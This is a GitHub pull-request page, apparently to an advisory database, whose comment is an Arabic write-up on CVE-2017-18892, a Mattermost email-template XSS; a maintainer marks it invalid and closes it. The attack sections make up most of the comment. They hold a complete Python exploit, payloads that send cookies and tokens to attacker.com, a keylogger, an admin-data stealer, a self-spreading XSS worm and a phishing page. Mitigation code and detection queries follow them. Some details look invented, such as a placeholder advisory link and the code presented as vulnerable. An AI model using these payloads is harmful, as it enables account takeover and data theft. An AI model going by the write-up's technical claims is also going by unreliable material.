Skip to content

Conversation

@asrar-mared
Copy link

Updates

  • CVSS v3
  • Severity

Comments

⚔️ CVE-2017-18892: عندما تخون القوالب الأمان

📧 XSS في قوالب البريد الإلكتروني - Mattermost تحت النار


📋 البطاقة التعريفية

المعرف القيمة
CVE ID CVE-2017-18892
Product Mattermost Server
CWE CWE-79: Cross-site Scripting (XSS)
CVSS Score 6.1 Medium
Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
الكشف الأولي 2017
النشر العام 19 يونيو 2020
آخر تحديث 29 يناير 2023
التصنيف Stored XSS via Email Templates

💀 جوهر الثغرة

🎭 السيناريو الهجومي

Mattermost Email Template
         ↓
   User Input (غير معقم)
         ↓
   HTML Email Generation
         ↓
   {{.UserName}} ← حقن مباشر!
         ↓
   <script>alert('XSS')</script>
         ↓
   🔥 تنفيذ الكود في Email Client

🔬 التحليل التقني العميق

📉 الكود الضعيف

القالب الضعيف (Go Template):

// mattermost-server < 4.2.0
// email_template.html

<html>
<body>
  <h1>مرحباً {{.UserName}}</h1>بدون تعقيم!
  <p>تم إرسال رسالة من {{.SenderName}}</p>خطر!
  <div>{{.MessageContent}}</div>يمكن حقن HTML!
</body>
</html>

المشكلة:

// الكود الضعيف - بدون Escaping
template.Execute(writer, data)

// data.UserName = "<script>alert('XSS')</script>"
// النتيجة: يُنفذ السكريبت في البريد!

🎯 سيناريو الاستغلال

المرحلة 1: إنشاء حساب خبيث

// المهاجم ينشئ حساب باسم خبيث
POST /api/v4/users
{
  "username": "<img src=x onerror=alert(document.cookie)>",
  "email": "[email protected]",
  "password": "pass123"
}

المرحلة 2: إرسال رسالة

// إرسال رسالة لضحية
POST /api/v4/posts
{
  "channel_id": "victim_channel",
  "message": "Check this out!",
  "root_id": null
}

المرحلة 3: البريد الإلكتروني المرسل

<!-- البريد الذي يستلمه الضحية -->
<html>
<body>
  <h1>مرحباً Victim</h1>
  <p>تم إرسال رسالة من 
    <img src=x onerror=alert(document.cookie)>  ← تنفيذ فوري!
  </p>
  <div>Check this out!</div>
</body>
</html>

المرحلة 4: التنفيذ

// عند فتح البريد:
onerror=alert(document.cookie)   يُنفذ!

// يمكن للمهاجم:
fetch('https://attacker.com/steal?cookie=' + document.cookie);

🧪 دليل إثبات المفهوم (PoC)

🎪 PoC كامل

#!/usr/bin/env python3
"""
CVE-2017-18892 - Mattermost XSS via Email Template
Exploit for educational purposes only
"""

import requests
import json

class MattermostXSS:
    def __init__(self, target_url):
        self.target = target_url
        self.session = requests.Session()
        self.token = None
    
    def create_malicious_user(self):
        """إنشاء مستخدم باسم يحتوي على XSS"""
        
        # الـ Payload
        xss_payload = '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">'
        
        # إنشاء المستخدم
        user_data = {
            "username": xss_payload,
            "email": "[email protected]",
            "password": "MaliciousPass123!",
            "first_name": xss_payload,
            "last_name": "Evil"
        }
        
        response = self.session.post(
            f"{self.target}/api/v4/users",
            json=user_data
        )
        
        if response.status_code == 201:
            print("[+] مستخدم خبيث تم إنشاؤه")
            return response.json()
        else:
            print(f"[-] فشل: {response.text}")
            return None
    
    def login(self, email, password):
        """تسجيل الدخول"""
        login_data = {
            "login_id": email,
            "password": password
        }
        
        response = self.session.post(
            f"{self.target}/api/v4/users/login",
            json=login_data
        )
        
        if response.status_code == 200:
            self.token = response.headers.get('Token')
            self.session.headers.update({'Authorization': f'Bearer {self.token}'})
            print("[+] تم تسجيل الدخول")
            return True
        
        return False
    
    def send_message(self, channel_id, message):
        """إرسال رسالة (تُرسل إشعار بريد إلكتروني)"""
        post_data = {
            "channel_id": channel_id,
            "message": message
        }
        
        response = self.session.post(
            f"{self.target}/api/v4/posts",
            json=post_data
        )
        
        if response.status_code == 201:
            print("[+] تم إرسال الرسالة - سيُرسل بريد XSS للأعضاء!")
            return True
        
        return False
    
    def exploit(self, target_channel):
        """تنفيذ الاستغلال الكامل"""
        print("[*] بدء استغلال CVE-2017-18892")
        print(f"[*] الهدف: {self.target}")
        
        # 1. إنشاء مستخدم خبيث
        user = self.create_malicious_user()
        if not user:
            return False
        
        # 2. تسجيل الدخول
        if not self.login("[email protected]", "MaliciousPass123!"):
            return False
        
        # 3. إرسال رسالة (تُرسل بريد)
        if self.send_message(target_channel, "مرحباً! تحقق من هذا"):
            print("[+] نجح الاستغلال!")
            print("[*] عند فتح البريد، سيُنفذ الكود الخبيث")
            return True
        
        return False

# الاستخدام
if __name__ == "__main__":
    exploit = MattermostXSS("https://mattermost.target.com")
    exploit.exploit("channel_id_here")

🎯 Payloads متقدمة

// 1. سرقة Cookies
<img src=x onerror="new Image().src='https://attacker.com/log?c='+document.cookie">

// 2. سرقة Session Tokens
<script>
fetch('https://attacker.com/steal', {
  method: 'POST',
  body: JSON.stringify({
    cookie: document.cookie,
    localStorage: localStorage,
    sessionStorage: sessionStorage
  })
});
</script>

// 3. Keylogger في Email Client
<img src=x onerror="
  document.addEventListener('keypress', function(e) {
    fetch('https://attacker.com/keys?k=' + e.key);
  });
">

// 4. Phishing Redirect
<img src=x onerror="
  setTimeout(function() {
    window.location='https://fake-mattermost-login.com';
  }, 3000);
">

// 5. استخراج البيانات الحساسة
<img src=x onerror="
  fetch('/api/v4/users/me').then(r=>r.json()).then(d=>
    fetch('https://attacker.com/user', {
      method: 'POST',
      body: JSON.stringify(d)
    })
  );
">

🎯 سيناريوهات الاستغلال الواقعية

🎪 السيناريو 1: سرقة بيانات المديرين

// 1. المهاجم ينشئ حساب باسم:
username: "<script src='https://evil.com/admin-stealer.js'></script>"

// 2. admin-stealer.js:
(async function() {
  // سرقة معلومات Admin
  const adminData = await fetch('/api/v4/users/me').then(r => r.json());
  
  // سرقة القنوات
  const channels = await fetch('/api/v4/channels').then(r => r.json());
  
  // سرقة الفرق
  const teams = await fetch('/api/v4/teams').then(r => r.json());
  
  // إرسال كل شيء
  fetch('https://attacker.com/admin-data', {
    method: 'POST',
    body: JSON.stringify({ adminData, channels, teams })
  });
})();

// النتيجة: سيطرة كاملة على بيانات Admin

🎪 السيناريو 2: Worm عبر البريد

// XSS Worm - ينتشر تلقائياً
<img src=x onerror="
  // 1. يسرق التوكن الحالي
  const token = localStorage.getItem('token');
  
  // 2. يجلب قائمة المستخدمين
  fetch('/api/v4/users', {
    headers: { 'Authorization': 'Bearer ' + token }
  })
  .then(r => r.json())
  .then(users => {
    // 3. يرسل رسالة لكل مستخدم
    users.forEach(user => {
      fetch('/api/v4/posts/create_direct', {
        method: 'POST',
        headers: { 'Authorization': 'Bearer ' + token },
        body: JSON.stringify({
          user_id: user.id,
          message: 'Check this: <img src=x onerror=...>' // نفس الكود
        })
      });
    });
  });
">

🎪 السيناريو 3: التصيد المستهدف (Spear Phishing)

<!-- بريد يبدو شرعياً تماماً -->
<html>
<head>
  <style>
    /* تصميم مشابه لـ Mattermost */
    body { font-family: Arial; background: #f5f5f5; }
    .container { max-width: 600px; margin: 0 auto; background: white; padding: 20px; }
    .btn { background: #0073e6; color: white; padding: 10px 20px; text-decoration: none; }
  </style>
</head>
<body>
  <div class="container">
    <h2>🔒 تنبيه أمني من Mattermost</h2>
    <p>تم اكتشاف محاولة تسجيل دخول مشبوهة لحسابك</p>
    <p>انقر أدناه للتحقق من هويتك:</p>
    <a href="#" class="btn" onclick="stealCredentials()">التحقق الآن</a>
  </div>
  
  <script>
    function stealCredentials() {
      // إعادة توجيه لصفحة تصيد
      window.location = 'https://fake-mattermost.com/login?next=' + 
                        encodeURIComponent(window.location.href);
    }
  </script>
</body>
</html>

🛡️ الإصلاح والحماية

✅ الحل الرسمي (v4.2.0+)

// mattermost-server >= 4.2.0
// استخدام html/template بدلاً من text/template

import (
    "html/template"  // ← التعقيم التلقائي
)

// القالب الآمن
tmpl := template.Must(template.New("email").Parse(`
<html>
<body>
  <h1>مرحباً {{.UserName}}</h1>  ← يُعقم تلقائياً
  <p>من {{.SenderName}}</p>
  <div>{{.MessageContent}}</div>
</body>
</html>
`))

// التنفيذ الآمن
tmpl.Execute(writer, data)

// إذا كان data.UserName = "<script>alert(1)</script>"
// النتيجة: &lt;script&gt;alert(1)&lt;/script&gt; ← آمن!

🔒 خطوات الحماية الفورية

1. التحديث الفوري

# فحص الإصدار الحالي
curl -s http://mattermost-server/api/v4/system/ping | jq

# إذا كان < 4.2.0، حدّث فوراً:
wget https://releases.mattermost.com/4.2.0/mattermost-4.2.0-linux-amd64.tar.gz
tar -xzf mattermost-4.2.0-linux-amd64.tar.gz
systemctl stop mattermost
cp -r mattermost /opt/
systemctl start mattermost

2. CSP Headers في Email

// إضافة Content Security Policy
emailHeaders := map[string]string{
    "Content-Type": "text/html; charset=UTF-8",
    "Content-Security-Policy": "default-src 'none'; img-src https:; style-src 'unsafe-inline'",
}

3. تعقيم إضافي

import (
    "html"
    "github.com/microcosm-cc/bluemonday"
)

// استخدام bluemonday للتعقيم الشامل
func SanitizeForEmail(input string) string {
    p := bluemonday.StrictPolicy()
    return p.Sanitize(input)
}

// في القالب
data := EmailData{
    UserName: SanitizeForEmail(user.Username),
    Message:  SanitizeForEmail(message.Content),
}

4. مراجعة القوالب المخصصة

# ابحث عن القوالب المخصصة
find /opt/mattermost -name "*.html" -o -name "*.tmpl"

# راجع كل قالب للتأكد من استخدام {{.Variable}} بدون |safe
grep -r "{{.*}}" /opt/mattermost/templates/

# تحذير: لا تستخدم أبداً
{{ .UserInput | safe }}  ← خطر!
{{ .Content | noescape }} ← خطر!

🔍 الكشف عن الاستغلال

🕵️ علامات الاختراق

# 1. فحص قاعدة البيانات للأسماء المشبوهة
psql -U mmuser -d mattermost -c "
  SELECT username, email, create_at 
  FROM Users 
  WHERE username LIKE '%<script%' 
     OR username LIKE '%onerror%'
     OR username LIKE '%javascript:%';
"

# 2. فحص سجلات البريد
grep -E "(<script|onerror|javascript:)" /var/log/mail.log

# 3. مراجعة الرسائل المرسلة
psql -U mmuser -d mattermost -c "
  SELECT message, create_at, user_id 
  FROM Posts 
  WHERE message LIKE '%<script%' 
     OR message LIKE '%onerror%';
"

# 4. فحص Session Tokens غير الطبيعية
psql -U mmuser -d mattermost -c "
  SELECT token, user_id, create_at 
  FROM Sessions 
  WHERE create_at > NOW() - INTERVAL '24 hours'
  ORDER BY create_at DESC;
"

📊 مؤشرات الاختراق (IOCs)

أسماء المستخدمين المشبوهة:
  - يحتوي على: <script>, onerror, javascript:
  - أمثلة:
    - "<img src=x onerror=alert(1)>"
    - "<script>fetch('evil.com')</script>"
    - "javascript:alert(document.cookie)"

الرسائل الخبيثة:
  - HTML tags في محتوى الرسالة
  - Base64 encoded scripts
  - External script sources

النشاط الشبكي:
  - طلبات لـ domains غير معروفة من Email Clients
  - POST requests لـ /api/v4/posts بمعدل عالي
  - Session tokens مسروقة تُستخدم من IPs مختلفة

سلوك المستخدم:
  - إنشاء حسابات بأسماء عشوائية/طويلة
  - إرسال رسائل لقنوات عديدة فوراً
  - تغيير بيانات Profile بشكل متكرر

🔬 الفحص الأمني الشامل

#!/bin/bash
# مراجعة أمنية شاملة لـ Mattermost

echo "🔍 فحص أمان Mattermost"
echo "========================"

# 1. فحص الإصدار
VERSION=$(curl -s http://localhost:8065/api/v4/system/ping | jq -r '.version')
echo "الإصدار: $VERSION"

if [[ "$VERSION" < "4.2.0" ]]; then
    echo "⚠️  خطر! الإصدار ضعيف لـ CVE-2017-18892"
fi

# 2. فحص المستخدمين المشبوهين
echo ""
echo "👥 فحص المستخدمين:"
psql -U mmuser -d mattermost -t -c "
  SELECT COUNT(*) 
  FROM Users 
  WHERE username ~ '(<|>|script|onerror)'
" | xargs echo "مستخدمين مشبوهين:"

# 3. فحص القوالب
echo ""
echo "📧 فحص قوالب البريد:"
if grep -r "text/template" /opt/mattermost/; then
    echo "⚠️  وُجدت قوالب غير آمنة!"
else
    echo "✅ القوالب آمنة"
fi

# 4. فحص CSP
echo ""
echo "🔒 فحص Content Security Policy:"
if grep -r "Content-Security-Policy" /opt/mattermost/config/; then
    echo "✅ CSP مفعّل"
else
    echo "⚠️  CSP غير مفعّل"
fi

echo ""
echo "========================"
echo "✅ انتهى الفحص"

📡 المراجع التقنية

1. CVE Entry:
   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-18892

2. NVD Details:
   https://nvd.nist.gov/vuln/detail/CVE-2017-18892

3. Mattermost Security:
   https://mattermost.com/security-updates/

4. GitHub Advisory:
   https://github.com/advisories/GHSA-xxxx-xxxx-xxxx

5. OWASP XSS:
   https://owasp.org/www-community/attacks/xss/

6. CWE-79:
   https://cwe.mitre.org/data/definitions/79.html

🎓 الدروس المستفادة

⚠️ القواعد الذهبية:

"لا تثق بأي مُدخَل - حتى لو كان اسم مستخدم"

✅ Best Practices

1. استخدم html/template دائماً

// ✅ آمن - تعقيم تلقائي
import "html/template"

// ❌ خطر - بدون تعقيم
import "text/template"

2. طبقات الحماية

Input → Validation → Sanitization → Escaping → Output

3. CSP في كل مكان

<meta http-equiv="Content-Security-Policy" 
      content="default-src 'none'; script-src 'self'">

4. لا تثق بـ "Safe" Flags

// ❌ خطير جداً
{{ .UserInput | safe }}

// ✅ آمن
{{ .UserInput }}  // auto-escaped

🎖️ ختام المحارب

"القالب ليس مجرد تصميم - إنه خط الدفاع الأول"

CVE-2017-18892 يُذكرنا أن الأمان يبدأ من أصغر التفاصيل.

حتى اسم المستخدم يمكن أن يكون سلاحاً فتاكاً إذا لم نُحصّنه.


⚔️ توقيع السيادة

╔═══════════════════════════════════════╗
║   ZAYED SECURITY RESEARCH TEAM       ║
║   "Trust No Input, Sanitize All"    ║
║                                       ║
║   CVE-2017-18892                     ║
║   Severity: MEDIUM (6.1)             ║
║   Status: PATCHED ✓                  ║
╚═══════════════════════════════════════╝

#XSS | #EmailSecurity | #Mattermost | #TemplateInjection

@github-actions github-actions bot changed the base branch from main to asrar-mared/advisory-improvement-6652 January 15, 2026 05:27
@taladrane taladrane added the invalid This doesn't seem right label Jan 15, 2026
@taladrane taladrane closed this Jan 15, 2026
@github-actions github-actions bot deleted the asrar-mared-GHSA-wj5w-qghh-gvqp branch January 15, 2026 21:22
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

invalid This doesn't seem right

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants